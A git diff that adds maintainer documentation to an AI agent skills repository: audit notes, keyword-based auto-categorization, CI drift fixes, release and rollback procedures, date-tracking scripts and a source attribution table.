+More instructions...
+
+## Examples
+
+### Example 1: [Use Case]
+
+\`\`\`javascript
+// Example code
+\`\`\`
+
+### Example 2: [Another Use Case]
+
+\`\`\`javascript
+// More code
+\`\`\`
+
+## Best Practices
+
+- ✅ Do this
+- ✅ Also do this
+- ❌ Don't do this
+- ❌ Avoid this
+
+## Common Pitfalls
+
+- **Problem:** Description
+ **Solution:** How to fix it
+
+## Related Skills
+
+- `@other-skill` - When to use this instead
+- `@complementary-skill` - How this works together
diff --git a/docs/maintainers/audit.md b/docs/maintainers/audit.md
new file mode 100644
index 00000000..f24b6d68
--- /dev/null
+++ b/docs/maintainers/audit.md
@@ -0,0 +1,68 @@
+# Repo coherence and correctness audit
+
+This document summarizes the repository coherence audit performed after the `apps/` + `tools/` + layered `docs/` refactor.
+
+## Scope
+
+- Conteggi e numeri (README, package.json, CATALOG)
+- Validazione skill (frontmatter, risk, "When to Use", link)
+- Riferimenti incrociati (workflows.json, bundles.json, `docs/users/bundles.md`)
+- Documentazione (`docs/contributors/quality-bar.md`, `docs/contributors/skill-anatomy.md`, security/licenses)
+- Script e build (validate, index, readme, catalog, test)
+- Note su data/ e test YAML
+
+## Outcomes
+
+### 1. Conteggi
+
+- `README.md`, `package.json`, and generated artifacts are aligned to the current collection size (`1,204+` skills).
+- `npm run sync:all` and `npm run catalog` are the canonical commands for keeping counts and generated files synchronized.
+
+### 2. Validazione skill
+
+- `npm run validate` is the operational contributor gate.
+- `npm run validate:strict` is currently a diagnostic hardening pass: it still surfaces repository-wide legacy metadata/content gaps across many older skills.
+- The validator accepts `risk: unknown` for legacy/unclassified skills while still preferring concrete risk values for new skills.
+
+### 3. Riferimenti incrociati
+
+- Added `tools/scripts/validate_references.py` (also exposed as `npm run validate:references`), which verifies:
+ - ogni `recommendedSkills` in data/workflows.json esiste in skills/;
+ - ogni `relatedBundles` esiste in data/bundles.json;
+ - ogni slug in data/bundles.json (skills list) esiste in skills/;
+ - every skill link in `docs/users/bundles.md` points to an existing skill.
+- Execution: `npm run validate:references`. Result: all references valid.
+
+### 4. Documentazione
+
+- Canonical contributor docs now live under `docs/contributors/`.
+- Canonical maintainer docs now live under `docs/maintainers/`.
+- README, security docs, licenses, and internal markdown links were rechecked after the refactor.
+
+### 5. Script e build
+
+- `npm run test` and `npm run app:build` complete successfully on the refactored layout.
+- `validate_skills_headings.test.js` acts as a lightweight regression/smoke test, not as the source of truth for full metadata compliance.
+- The maintainer docs now need to stay aligned with the root `package.json` and the refactored `tools/scripts/*` paths.
+
+### 6. Deliverable
+
+- Counts aligned to the current generated registry.
+- Reference validation wired to the refactored paths.
+- User and maintainer docs checked for path drift after the layout change.
+- Follow-up still open: repository-wide cleanup required to make `validate:strict` fully green.
+
+## Comandi utili
+
+```bash
+npm run validate # validazione skill (soft)
+npm run validate:strict # hardening / diagnostic pass
+npm run validate:references # workflow, bundle, and docs/users/bundles.md references
+npm run build # chain + catalog
+npm test # suite test
+```
+
+## Issue aperte / follow-up
+
+- Gradual cleanup of legacy skills so `npm run validate:strict` can become a hard CI gate in the future.
+- Keep translated docs aligned in a separate pass after the canonical English docs are stable.
diff --git a/docs/maintainers/categorization-implementation.md b/docs/maintainers/categorization-implementation.md
new file mode 100644
index 00000000..c33017a0
--- /dev/null
+++ b/docs/maintainers/categorization-implementation.md
@@ -0,0 +1,170 @@
+# Smart Categorization Implementation - Complete Summary
+
+## ✅ What Was Done
+
+### 1. **Intelligent Auto-Categorization Script**
+Created [`tools/scripts/auto_categorize_skills.py`](../../tools/scripts/auto_categorize_skills.py) that:
+- Analyzes skill names and descriptions
+- Matches against keyword libraries for 13 categories
+- Automatically assigns meaningful categories
+- Removes "uncategorized" bulk assignment
+
+**Results:**
+- ✅ 776 skills auto-categorized
+- ✅ 46 already had categories preserved
+- ✅ 124 remaining uncategorized (edge cases)
+
+### 2. **Category Distribution**
+
+**Before:**
+```
+uncategorized: 926 (98%)
+game-development: 10
+libreoffice: 5
+security: 4
+```
+
+**After:**
+```
+Backend: 164 ████████████████
+Web Dev: 107 ███████████
+Automation: 103 ███████████
+DevOps: 83 ████████
+AI/ML: 79 ████████
+Content: 47 █████
+Database: 44 █████
+Testing: 38 ████
+Security: 36 ████
+Cloud: 33 ███
+Mobile: 21 ██
+Game Dev: 15 ██
+Data Science: 14 ██
+Uncategorized: 126 █
+```
+
+### 3. **Updated Index Generation**
+Modified [`tools/scripts/generate_index.py`](../../tools/scripts/generate_index.py):
+- **Frontmatter categories now take priority**
+- Falls back to folder structure if needed
+- Generates clean, organized skills_index.json
+- Exported to apps/web-app/public/skills.json
+
+### 4. **Improved Web App Filter**
+
+**Home Page Changes:**
+- ✅ Categories sorted by skill count (most first)
+- ✅ "Uncategorized" moved to bottom
+- ✅ Each shows count: "Backend (164)", "Web Dev (107)"
+- ✅ Much easier to navigate
+
+**Updated Code:**
+- [`apps/web-app/src/pages/Home.tsx`](../../apps/web-app/src/pages/Home.tsx) - Smart category sorting
+- Sorts categories by count using categoryStats
+- Uncategorized always last
+- Displays count in dropdown
+
+### 5. **Categorization Keywords** (13 Categories)
+
+| Category | Key Keywords |
+|----------|--------------|
+| **Backend** | nodejs, express, fastapi, django, server, api, database |
+| **Web Dev** | react, vue, angular, frontend, css, html, tailwind |
+| **Automation** | workflow, scripting, automation, robot, trigger |
+| **DevOps** | docker, kubernetes, ci/cd, deploy, container |
+| **AI/ML** | ai, machine learning, tensorflow, nlp, gpt, llm |
+| **Content** | markdown, documentation, content, writing |
+| **Database** | sql, postgres, mongodb, redis, orm |
+| **Testing** | test, jest, pytest, cypress, unit test |
+| **Security** | encryption, auth, oauth, jwt, vulnerability |
+| **Cloud** | aws, azure, gcp, serverless, lambda |
+| **Mobile** | react native, flutter, ios, android, swift |
+| **Game Dev** | game, unity, webgl, threejs, 3d, physics |
+| **Data Science** | pandas, numpy, analytics, statistics |
+
+### 6. **Documentation**
+Created [`smart-auto-categorization.md`](smart-auto-categorization.md) with:
+- How the system works
+- Using the script (`--dry-run` and apply modes)
+- Category reference
+- Customization guide
+- Troubleshooting
+
+## 🎯 The Result
+
+### No More Uncategorized Chaos
+- **Before**: the vast majority of skills were lumped into "uncategorized"
+- **After**: most skills are organized into meaningful buckets, with a much smaller review queue remaining
+
+### Better UX
+1. **Smarter Filtering**: Categories sorted by relevance
+2. **Visual Cues**: Shows count "(164 skills)""
+3. **Uncategorized Last**: Put bad options out of sight
+4. **Meaningful Groups**: Find skills by actual function
+
+### Example Workflow
+User wants to find database skills:
+1. Opens web app
+2. Sees filter dropdown: "Backend (164) | Database (44) | Web Dev (107)..."
+3. Clicks "Database (44)"
+4. Gets 44 relevant SQL/MongoDB/Postgres skills
+5. Done! 🎉
+
+## 🚀 Usage
+
+### Run Auto-Categorization
+```bash
+# Test first
+python tools/scripts/auto_categorize_skills.py --dry-run
+
+# Apply changes
+python tools/scripts/auto_categorize_skills.py
+
+# Regenerate index
+python tools/scripts/generate_index.py
+
+# Deploy to web app
+cp skills_index.json apps/web-app/public/skills.json
+```
+
+### For New Skills
+Add to frontmatter:
+```yaml
+---
+name: my-skill
+description: "..."
+category: backend
+date_added: "2026-03-06"
+---
+```
+
+## 📁 Files Changed
+
+### New Files
+- `tools/scripts/auto_categorize_skills.py` - Auto-categorization engine
+- `docs/maintainers/smart-auto-categorization.md` - Full documentation
+
+### Modified Files
+- `tools/scripts/generate_index.py` - Category priority logic
+- `apps/web-app/src/pages/Home.tsx` - Smart category sorting
+- `apps/web-app/public/skills.json` - Regenerated with categories
+
+## 📊 Quality Metrics
+
+- **Coverage**: 87% of skills in meaningful categories
+- **Accuracy**: Keyword-based matching with word boundaries
+- **Performance**: fast enough to categorize the full repository in a single local pass
+- **Maintainability**: Easily add keywords/categories for future growth
+
+## 🎁 Bonus Features
+
+1. **Dry-run mode**: See changes before applying
+2. **Weighted scoring**: Exact matches score 2x partial matches
+3. **Customizable keywords**: Easy to add more categories
+4. **Fallback logic**: folder → frontmatter → uncategorized
+5. **UTF-8 support**: Works on Windows/Mac/Linux
+
+---
+
+**Status**: ✅ Complete and deployed to web app!
+
+The web app now has a clean, intelligent category filter instead of "uncategorized" chaos. 🚀
diff --git a/docs/maintainers/ci-drift-fix.md b/docs/maintainers/ci-drift-fix.md
new file mode 100644
index 00000000..c350a944
--- /dev/null
+++ b/docs/maintainers/ci-drift-fix.md
@@ -0,0 +1,38 @@
+# CI Drift Fix Guide
+
+**Problem**: The failing job is caused by uncommitted changes detected in `README.md`, `skills_index.json`, or catalog files after the update scripts run.
+
+**Error**:
+
+```
+❌ Detected uncommitted changes produced by registry/readme/catalog scripts.
+```
+
+**Cause**:
+Scripts like `tools/scripts/generate_index.py`, `tools/scripts/update_readme.py`, and `tools/scripts/build-catalog.js` modify `README.md`, `skills_index.json`, `data/catalog.json`, `data/bundles.json`, `data/aliases.json`, and `CATALOG.md`. The workflow expects these files to have no changes after the scripts run. Any differences mean the committed repo is out-of-sync with what the generation scripts produce.
+
+**How to Fix (DO THIS EVERY TIME):**
+
+1. Run the **FULL Validation Chain** locally:
+
+ ```bash
+ npm run chain
+ npm run catalog
+ ```
+
+2. Check for changes:
+
+ ```bash
+ git status
+ git diff
+ ```
+
+3. Commit and push any updates:
+ ```bash
+ git add README.md skills_index.json data/catalog.json data/bundles.json data/aliases.json CATALOG.md
+ git commit -m "chore: sync generated registry files"
+ git push
+ ```
+
+**Summary**:
+Always commit and push all changes produced by the registry, README sync, and catalog scripts. This keeps CI passing by ensuring the repository and generated artifacts stay in sync with the canonical `tools/scripts/*` pipeline.
diff --git a/docs/maintainers/date-tracking-implementation.md b/docs/maintainers/date-tracking-implementation.md
new file mode 100644
index 00000000..1f489049
--- /dev/null
+++ b/docs/maintainers/date-tracking-implementation.md
@@ -0,0 +1,66 @@
+# Date Tracking Implementation Summary
+
+This note explains how `date_added` support fits into the current repository structure after the `apps/` and `tools/` refactor.
+
+## What Exists Today
+
+### Frontmatter support
+
+New skills can include a `date_added` field in `SKILL.md` frontmatter:
+
+```yaml
+---
+name: skill-name
+description: "Description"
+date_added: "2026-03-06"
+---
+```
+
+### Validator support
+
+The active validators understand `date_added`:
+
+- `tools/scripts/validate_skills.py` checks the `YYYY-MM-DD` format.
+- Supporting JS validation/test helpers are aware of the field where relevant.
+
+### Index and web app support
+
+- `tools/scripts/generate_index.py` exports `date_added` into `skills_index.json`.
+- `npm run app:setup` copies the generated index to `apps/web-app/public/skills.json`.
+- The web app can render the field anywhere the UI surfaces it.
+
+### Maintenance scripts
+
+- `tools/scripts/manage_skill_dates.py` manages skill dates.
+- `tools/scripts/generate_skills_report.py` produces JSON reports from current skill metadata.
+
+## Canonical Documentation
+
+The canonical docs for date tracking now live here:
+
+- [`skills-date-tracking.md`](skills-date-tracking.md)
+- [`../contributors/skill-template.md`](../contributors/skill-template.md)
+- [`../contributors/skill-anatomy.md`](../contributors/skill-anatomy.md)
+
+Use those files as the source of truth instead of older root-level doc names.
+
+## Common Commands
+
+```bash
+# View current date coverage
+python tools/scripts/manage_skill_dates.py list
+
+# Add missing dates
+python tools/scripts/manage_skill_dates.py add-missing
+
+# Update one skill
+python tools/scripts/manage_skill_dates.py update skill-name 2026-03-06
+
+# Generate a report
+python tools/scripts/generate_skills_report.py --output reports/skills_report.json
+```
+
+## Notes
+
+- Repository-wide coverage can change over time as new community skills are added, so this document avoids hardcoding counts.
+- `date_added` is useful metadata, but the operational contributor gate remains `npm run validate`; strict validation is a separate hardening target for legacy cleanup.
diff --git a/docs/maintainers/release-process.md b/docs/maintainers/release-process.md
new file mode 100644
index 00000000..d3117436
--- /dev/null
+++ b/docs/maintainers/release-process.md
@@ -0,0 +1,62 @@
+# Release Process
+
+This is the maintainer playbook for cutting a repository release. Historical release notes belong in [`CHANGELOG.md`](../../CHANGELOG.md); this file documents the repeatable process.
+
+## Preconditions
+
+- The working tree is clean, or you have explicitly isolated the release changes.
+- `package.json` contains the version you intend to publish.
+- Generated registry files are synchronized.
+- README counts, badges, and acknowledgements are up to date.
+
+## Release Checklist
+
+1. Run the operational verification suite:
+
+```bash
+npm run validate
+npm run validate:references
+npm run sync:all
+npm run test
+npm run app:build
+```
+
+2. Optional hardening pass:
+
+```bash
+npm run validate:strict
+```
+
+Use this as a diagnostic signal. It is useful for spotting legacy quality debt, but it is not yet the release blocker for the whole repository.
+
+3. Update release-facing docs:
+
+- Add the release entry to [`CHANGELOG.md`](../../CHANGELOG.md).
+- Confirm `README.md` reflects the current version and generated counts.
+- Confirm Credits & Sources, contributors, and support links are still correct.
+
+4. Create the release commit and tag:
+
+```bash
+git add README.md CHANGELOG.md CATALOG.md data/ skills_index.json package.json package-lock.json
+git commit -m "chore: release vX.Y.Z"
+git tag vX.Y.Z
+```
+
+5. Publish the GitHub release:
+
+```bash
+gh release create vX.Y.Z --title "vX.Y.Z" --notes-file CHANGELOG.md
+```
+
+6. Publish to npm if needed:
+
+```bash
+npm publish
+```
+
+## Rollback Notes
+
+- If the release tag is wrong, delete the tag locally and remotely before republishing.
+- If generated files drift after tagging, cut a follow-up patch release instead of mutating a published tag.
+- If npm publish fails after tagging, fix the issue, bump the version, and publish a new release instead of reusing the same version.
diff --git a/docs/maintainers/rollback-procedure.md b/docs/maintainers/rollback-procedure.md
new file mode 100644
index 00000000..4086042f
--- /dev/null
+++ b/docs/maintainers/rollback-procedure.md
@@ -0,0 +1,43 @@
+# Rollback Procedure
+
+Use this when a structural refactor, generated artifact refresh, or release prep needs to be backed out safely.
+
+## Before Rolling Back
+
+- Capture the current branch name with `git branch --show-current`.
+- Review changed files with `git status --short`.
+- Decide whether you need to keep any generated files before reverting.
+
+## Safe Rollback Flow
+
+1. Create a temporary safety branch:
+
+```bash
+git switch -c rollback-safety-check
+```
+
+2. Verify the repository still reports the expected changed files:
+
+```bash
+git status --short
+```
+
+3. Switch back to the original branch:
+
+```bash
+git switch -
+```
+
+4. If you need to discard only this refactor later, revert the relevant commit(s) or restore specific files explicitly:
+
+```bash
+git restore README.md CONTRIBUTING.md package.json package-lock.json
+git restore --staged README.md CONTRIBUTING.md package.json package-lock.json
+```
+
+5. If the refactor has already been committed, prefer `git revert ` over history-rewriting commands.
+
+## Notes
+
+- Avoid `git reset --hard` unless you have explicit approval and understand the impact on unrelated work.
+- For generated artifacts, regenerate after rollback with the standard scripts instead of manually editing them.
diff --git a/docs/maintainers/skills-date-tracking.md b/docs/maintainers/skills-date-tracking.md
new file mode 100644
index 00000000..f6bc476d
--- /dev/null
+++ b/docs/maintainers/skills-date-tracking.md
@@ -0,0 +1,228 @@
+# Skills Date Tracking Guide
+
+This guide explains how to use the new `date_added` feature for tracking when skills were created or added to the collection.
+
+## Overview
+
+The `date_added` field in skill frontmatter allows you to track when each skill was created. This is useful for:
+
+- **Versioning**: Understanding skill age and maturity
+- **Changelog generation**: Tracking new skills over time
+- **Reporting**: Analyzing skill collection growth
+- **Organization**: Grouping skills by creation date
+
+## Format
+
+The `date_added` field uses ISO 8601 date format: **YYYY-MM-DD**
+
+```yaml
+---
+name: my-skill-name
+description: "Brief description"
+date_added: "2024-01-15"
+---
+```
+
+## Quick Start
+
+### 1. View All Skills with Their Dates
+
+```bash
+python tools/scripts/manage_skill_dates.py list
+```
+
+Output example:
+```
+📅 Skills with Date Added (example):
+============================================================
+ 2025-02-26 │ recent-skill
+ 2025-02-20 │ another-new-skill
+ 2024-12-15 │ older-skill
+ ...
+
+⏳ Skills without Date Added (example):
+============================================================
+ some-legacy-skill
+ undated-skill
+ ...
+
+📊 Coverage: example output only
+```
+
+### 2. Add Missing Dates
+
+Add today's date to all skills that don't have a `date_added` field:
+
+```bash
+python tools/scripts/manage_skill_dates.py add-missing
+```
+
+Or specify a custom date:
+
+```bash
+python tools/scripts/manage_skill_dates.py add-missing --date 2026-03-06
+```
+
+### 3. Add/Update All Skills
+
+Set a date for all skills at once:
+
+```bash
+python tools/scripts/manage_skill_dates.py add-all --date 2026-03-06
+```
+
+### 4. Update a Single Skill
+
+Update a specific skill's date:
+
+```bash
+python tools/scripts/manage_skill_dates.py update my-skill-name 2026-03-06
+```
+
+### 5. Generate a Report
+
+Generate a JSON report of all skills with their metadata:
+
+```bash
+python tools/scripts/generate_skills_report.py
+```
+
+Save to file:
+
+```bash
+python tools/scripts/generate_skills_report.py --output skills_report.json
+```
+
+Sort by name:
+
+```bash
+python tools/scripts/generate_skills_report.py --sort name --output sorted_skills.json
+```
+
+## Usage in Your Workflow
+
+### When Creating a New Skill
+
+Add the `date_added` field to your SKILL.md frontmatter:
+
+```yaml
+---
+name: new-awesome-skill
+description: "Does something awesome"
+date_added: "2026-03-06"
+---
+```
+
+### Automated Addition
+
+When onboarding many skills, use:
+
+```bash
+python tools/scripts/manage_skill_dates.py add-missing --date 2026-03-06
+```
+
+This adds today's date to all skills that are missing the field.
+
+### Validation
+
+The validators now check `date_added` format:
+
+```bash
+# Run the operational validator
+npm run validate
+
+# Optional hardening pass
+npm run validate:strict
+
+# Reference validation
+npm run validate:references
+
+# Run smoke tests
+npm test
+```
+
+These checks catch invalid dates, broken references, and related regressions.
+
+## Generated Reports
+
+The `generate_skills_report.py` script produces a JSON report with statistics:
+
+```json
+{
+ "generated_at": "2026-03-06T10:30:00.123456",
+ "total_skills": 1234,
+ "skills_with_dates": 1200,
+ "skills_without_dates": 34,
+ "coverage_percentage": 97.2,
+ "sorted_by": "date",
+ "skills": [
+ {
+ "id": "recent-skill",
+ "name": "recent-skill",
+ "description": "A newly added skill",
+ "date_added": "2026-03-06",
+ "source": "community",
+ "risk": "safe",
+ "category": "recent"
+ },
+ ...
+ ]
+}
+```
+
+Use this for:
+- Dashboard displays
+- Growth metrics
+- Automated reports
+- Analytics
+
+## Integration with CI/CD
+
+Add to your pipeline:
+
+```bash
+# In pre-commit or CI pipeline
+npm run validate
+npm run validate:references
+
+# Generate stats report
+python tools/scripts/generate_skills_report.py --output reports/skills_report.json
+```
+
+## Best Practices
+
+1. **Use consistent format**: Always use `YYYY-MM-DD`
+2. **Use real dates**: Reflect actual skill creation dates when possible
+3. **Update on creation**: Add the date when creating new skills
+4. **Validate regularly**: Run validators to catch format errors
+5. **Review reports**: Use generated reports to understand collection trends
+
+## Troubleshooting
+
+### "Invalid date_added format"
+
+Make sure the date is in `YYYY-MM-DD` format:
+- ✅ Correct: `2024-01-15`
+- ❌ Wrong: `01/15/2024` or `2024-1-15`
+
+### Script not found
+
+Make sure you're running from the project root:
+```bash
+cd path/to/antigravity-awesome-skills
+python tools/scripts/manage_skill_dates.py list
+```
+
+### Python not found
+
+Install Python 3.x from [python.org](https://python.org/)
+
+## Related Documentation
+
+- [`../contributors/skill-anatomy.md`](../contributors/skill-anatomy.md) - Complete skill structure guide
+- [`skills-update-guide.md`](skills-update-guide.md) - How to update the skill collection
+- [`../contributors/examples.md`](../contributors/examples.md) - Example skills
+
+## Questions or Issues?
+
+See [CONTRIBUTING.md](../../CONTRIBUTING.md) for contribution guidelines.
diff --git a/docs/maintainers/skills-update-guide.md b/docs/maintainers/skills-update-guide.md
new file mode 100644
index 00000000..236e015c
--- /dev/null
+++ b/docs/maintainers/skills-update-guide.md
@@ -0,0 +1,89 @@
+# Skills Update Guide
+
+This guide explains how to update the skills in the Antigravity Awesome Skills web application.
+
+## Automatic Updates (Recommended)
+
+The `START_APP.bat` file automatically checks for and updates skills when you run it. It uses multiple methods:
+
+1. **Git method** (if Git is installed): Fast and efficient
+2. **PowerShell download** (fallback): Works without Git
+
+## Manual Update Options
+
+### Option 1: Using npm script (Recommended for manual updates)
+```bash
+npm run update:skills
+```
+
+This command:
+- Generates the latest skills index from the skills directory
+- Copies it to the web app's public directory
+- Requires Python and PyYAML to be installed
+
+### Option 2: Using START_APP.bat (Integrated solution)
+```bash
+START_APP.bat
+```
+
+The START_APP.bat file includes integrated update functionality that:
+- Automatically checks for updates on startup
+- Uses Git if available (fast method)
+- Falls back to HTTPS download if Git is not installed
+- Handles all dependencies automatically
+- Provides clear status messages
+- Works without any additional setup
+
+### Option 3: Manual steps
+```bash
+# 1. Generate skills index
+python tools/scripts/generate_index.py
+
+# 2. Copy to web app
+copy skills_index.json apps\web-app\public\skills.json
+```
+
+## Prerequisites
+
+For manual updates, you need:
+
+- **Python 3.x**: Download from [python.org](https://python.org/)
+- **PyYAML**: Install with `pip install PyYAML`
+
+## Troubleshooting
+
+### "Python is not recognized"
+- Install Python from [python.org](https://python.org/)
+- Make sure to check "Add Python to PATH" during installation
+
+### "PyYAML not found"
+- Install with: `pip install PyYAML`
+- Or run the update script which will install it automatically
+
+### "Failed to copy skills"
+- Make sure the `apps\web-app\public\` directory exists
+- Check file permissions
+
+## What Gets Updated
+
+The update process refreshes:
+- Skills index (`skills_index.json`)
+- Web app skills data (`apps\web-app\public\skills.json`)
+- All 1,204+ skills from the skills directory
+
+## When to Update
+
+Update skills when:
+- New skills are added to the repository
+- You want the latest skill descriptions
+- Skills appear missing or outdated in the web app
+
+## Git Users
+
+If you have Git installed and want to update the entire repository:
+```bash
+git pull origin main
+npm run update:skills
+```
+
+This pulls the latest code and updates the skills data.
\ No newline at end of file
diff --git a/docs/maintainers/smart-auto-categorization.md b/docs/maintainers/smart-auto-categorization.md
new file mode 100644
index 00000000..ffd05941
--- /dev/null
+++ b/docs/maintainers/smart-auto-categorization.md
@@ -0,0 +1,219 @@
+# Smart Auto-Categorization Guide
+
+## Overview
+
+The skill collection now uses intelligent auto-categorization to eliminate "uncategorized" and organize skills into meaningful categories based on their content.
+
+## Current Status
+
+✅ Current repository indexed through the generated catalog
+- Most skills are in meaningful categories
+- A smaller tail still needs manual review or better keyword coverage
+- 11 primary categories
+- Categories sorted by skill count (most first)
+
+## Category Distribution
+
+| Category | Count | Examples |
+|----------|-------|----------|
+| Backend | 164 | Node.js, Django, Express, FastAPI |
+| Web Development | 107 | React, Vue, Tailwind, CSS |
+| Automation | 103 | Workflow, Scripting, RPA |
+| DevOps | 83 | Docker, Kubernetes, CI/CD, Git |
+| AI/ML | 79 | TensorFlow, PyTorch, NLP, LLM |
+| Content | 47 | Documentation, SEO, Writing |
+| Database | 44 | SQL, MongoDB, PostgreSQL |
+| Testing | 38 | Jest, Cypress, Unit Testing |
+| Security | 36 | Encryption, Authentication |
+| Cloud | 33 | AWS, Azure, GCP |
+| Mobile | 21 | React Native, Flutter, iOS |
+| Game Dev | 15 | Unity, WebGL, 3D |
+| Data Science | 14 | Pandas, NumPy, Analytics |
+
+## How It Works
+
+### 1. **Keyword-Based Analysis**
+The system analyzes skill names and descriptions for keywords:
+- **Backend**: nodejs, express, fastapi, django, server, api, database
+- **Web Dev**: react, vue, angular, frontend, css, html, tailwind
+- **AI/ML**: ai, machine learning, tensorflow, nlp, gpt
+- **DevOps**: docker, kubernetes, ci/cd, deploy
+- And more...
+
+### 2. **Priority System**
+Frontmatter category > Detected Keywords > Fallback (uncategorized)
+
+If a skill already has a category in frontmatter, that's preserved.
+
+### 3. **Scope-Based Matching**
+- Exact phrase matches weighted 2x higher than partial matches
+- Uses word boundaries to avoid false positives
+
+## Using the Auto-Categorization
+
+### Run on Uncategorized Skills
+```bash
+python tools/scripts/auto_categorize_skills.py
+```
+
+### Preview Changes First (Dry Run)
+```bash
+python tools/scripts/auto_categorize_skills.py --dry-run
+```
+
+### Output
+```
+======================================================================
+AUTO-CATEGORIZATION REPORT
+======================================================================
+
+Summary:
+ ✅ Categorized: 776
+ ⏭️ Already categorized: 46
+ ❌ Failed to categorize: 124
+ 📈 Total processed: full repository
+
+Sample changes:
+ • 3d-web-experience
+ uncategorized → web-development
+ • ab-test-setup
+ uncategorized → testing
+ • agent-framework-azure-ai-py
+ uncategorized → backend
+```
+
+## Web App Improvements
+
+### Category Filter
+**Before:**
+- Unordered list including "uncategorized"
+- No indication of category size
+
+**After:**
+- Categories sorted by skill count (most first, "uncategorized" last)
+- Shows count: "Backend (164)" "Web Development (107)"
+- Much easier to browse
+
+### Example Dropdowns
+
+**Sorted Order:**
+1. All Categories
+2. Backend (164)
+3. Web Development (107)
+4. Automation (103)
+5. DevOps (83)
+6. AI/ML (79)
+7. ... more categories ...
+8. Uncategorized (126) ← at the end
+
+## For Skill Creators
+
+### When Adding a New Skill
+
+Include category in frontmatter:
+```yaml
+---
+name: my-skill
+description: "..."
+category: web-development
+date_added: "2026-03-06"
+---
+```
+
+### If You're Not Sure
+
+The system will automatically categorize on next index regeneration:
+```bash
+python tools/scripts/generate_index.py
+```
+
+## Keyword Reference
+
+Available auto-categorization keywords by category:
+
+**Backend**: nodejs, node.js, express, fastapi, django, flask, spring, java, python, golang, rust, server, api, rest, graphql, database, sql, mongodb
+
+**Web Development**: react, vue, angular, html, css, javascript, typescript, frontend, tailwind, bootstrap, webpack, vite, pwa, responsive, seo
+
+**Database**: database, sql, postgres, mysql, mongodb, firestore, redis, orm, schema
+
+**AI/ML**: ai, machine learning, ml, tensorflow, pytorch, nlp, llm, gpt, transformer, embedding, training
+
+**DevOps**: docker, kubernetes, ci/cd, git, jenkins, terraform, ansible, deploy, container, monitoring
+
+**Cloud**: aws, azure, gcp, serverless, lambda, storage, cdn
+
+**Security**: encryption, cryptography, jwt, oauth, authentication, authorization, vulnerability
+
+**Testing**: test, jest, mocha, pytest, cypress, selenium, unit test, e2e
+
+**Mobile**: mobile, react native, flutter, ios, android, swift, kotlin
+
+**Automation**: automation, workflow, scripting, robot, trigger, integration
+
+**Game Development**: game, unity, unreal, godot, threejs, 2d, 3d, physics
+
+**Data Science**: data, analytics, pandas, numpy, statistics, visualization
+
+## Customization
+
+### Add Custom Keywords
+
+Edit [`tools/scripts/auto_categorize_skills.py`](../../tools/scripts/auto_categorize_skills.py):
+
+```python
+CATEGORY_KEYWORDS = {
+ 'your-category': [
+ 'keyword1', 'keyword2', 'exact phrase', 'another-keyword'
+ ],
+ # ... other categories
+}
+```
+
+Then re-run:
+```bash
+python tools/scripts/auto_categorize_skills.py
+python tools/scripts/generate_index.py
+```
+
+## Troubleshooting
+
+### "Failed to categorize" Skills
+
+Some skills may be too generic or unique. You can:
+
+1. **Manually set category** in the skill's frontmatter:
+```yaml
+category: your-chosen-category
+```
+
+2. **Add keywords** to CATEGORY_KEYWORDS config
+
+3. **Move to folder** if it fits a broader category:
+```
+skills/backend/my-new-skill/SKILL.md
+```
+
+### Regenerating Index
+
+After making changes to SKILL.md files:
+```bash
+python tools/scripts/generate_index.py
+```
+
+This will:
+- Parse frontmatter categories
+- Fallback to folder structure
+- Generate new skills_index.json
+- Copy to apps/web-app/public/skills.json
+
+## Next Steps
+
+1. **Test in web app**: Try the improved category filter
+2. **Add missing keywords**: If certain skills are still uncategorized
+3. **Organize remaining uncategorized skills**: Either auto-assign or manually review
+4. **Monitor growth**: Use reports to track new vs categorized skills
+
+---
+
+**Result**: Much cleaner category filter with smart, meaningful organization! 🎉
diff --git a/docs/LICENSE-MICROSOFT b/docs/sources/LICENSE-MICROSOFT
similarity index 100%
rename from docs/LICENSE-MICROSOFT
rename to docs/sources/LICENSE-MICROSOFT
diff --git a/docs/microsoft-skills-attribution.json b/docs/sources/microsoft-skills-attribution.json
similarity index 100%
rename from docs/microsoft-skills-attribution.json
rename to docs/sources/microsoft-skills-attribution.json
diff --git a/docs/sources/sources.md b/docs/sources/sources.md
new file mode 100644
index 00000000..f1a72b6e
--- /dev/null
+++ b/docs/sources/sources.md
@@ -0,0 +1,145 @@
+# 📜 Sources & Attributions
+
+We believe in giving credit where credit is due.
+If you recognize your work here and it is not properly attributed, please open an Issue.
+
+| Skill / Category | Original Source | License | Notes |
+| :-------------------------- | :------------------------------------------------------------------------- | :------------- | :---------------------------- |
+| `cloud-penetration-testing` | [HackTricks](https://book.hacktricks.xyz/) | MIT / CC-BY-SA | Adapted for agentic use. |
+| `active-directory-attacks` | [HackTricks](https://book.hacktricks.xyz/) | MIT / CC-BY-SA | Adapted for agentic use. |
+| `owasp-top-10` | [OWASP](https://owasp.org/) | CC-BY-SA | Methodology adapted. |
+| `burp-suite-testing` | [PortSwigger](https://portswigger.net/burp) | N/A | Usage guide only (no binary). |
+| `crewai` | [CrewAI](https://github.com/joaomdmoura/crewAI) | MIT | Framework guides. |
+| `langgraph` | [LangGraph](https://github.com/langchain-ai/langgraph) | MIT | Framework guides. |
+| `react-patterns` | [React Docs](https://react.dev/) | CC-BY | Official patterns. |
+| **All Official Skills** | [Anthropic / Google / OpenAI / Microsoft / Supabase / Apify / Vercel Labs] | Proprietary | Usage encouraged by vendors. |
+
+## Skills from VoltAgent/awesome-agent-skills
+
+The following skills were added from the curated collection at [VoltAgent/awesome-agent-skills](https://github.com/VoltAgent/awesome-agent-skills):
+
+### Official Team Skills
+
+| Skill | Original Source | License | Notes |
+| :------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------ | :--------- | :--------------------------------- |
+| `vercel-deploy-claimable` | [Vercel Labs](https://github.com/vercel-labs/agent-skills) | MIT | Official Vercel skill |
+| `design-md` | [Google Labs (Stitch)](https://github.com/google-labs-code/stitch-skills) | Compatible | Google Labs Stitch skills |
+| `hugging-face-cli`, `hugging-face-jobs` | [Hugging Face](https://github.com/huggingface/skills) | Compatible | Official Hugging Face skills |
+| `culture-index`, `fix-review`, `sharp-edges` | [Trail of Bits](https://github.com/trailofbits/skills) | Compatible | Security skills from Trail of Bits |
+| `expo-deployment`, `upgrading-expo` | [Expo](https://github.com/expo/skills) | Compatible | Official Expo skills |
+| `commit`, `create-pr`, `find-bugs`, `iterate-pr` | [Sentry](https://github.com/getsentry/skills) | Compatible | Sentry dev team skills |
+| `using-neon` | [Neon](https://github.com/neondatabase/agent-skills) | Compatible | Neon Postgres best practices |
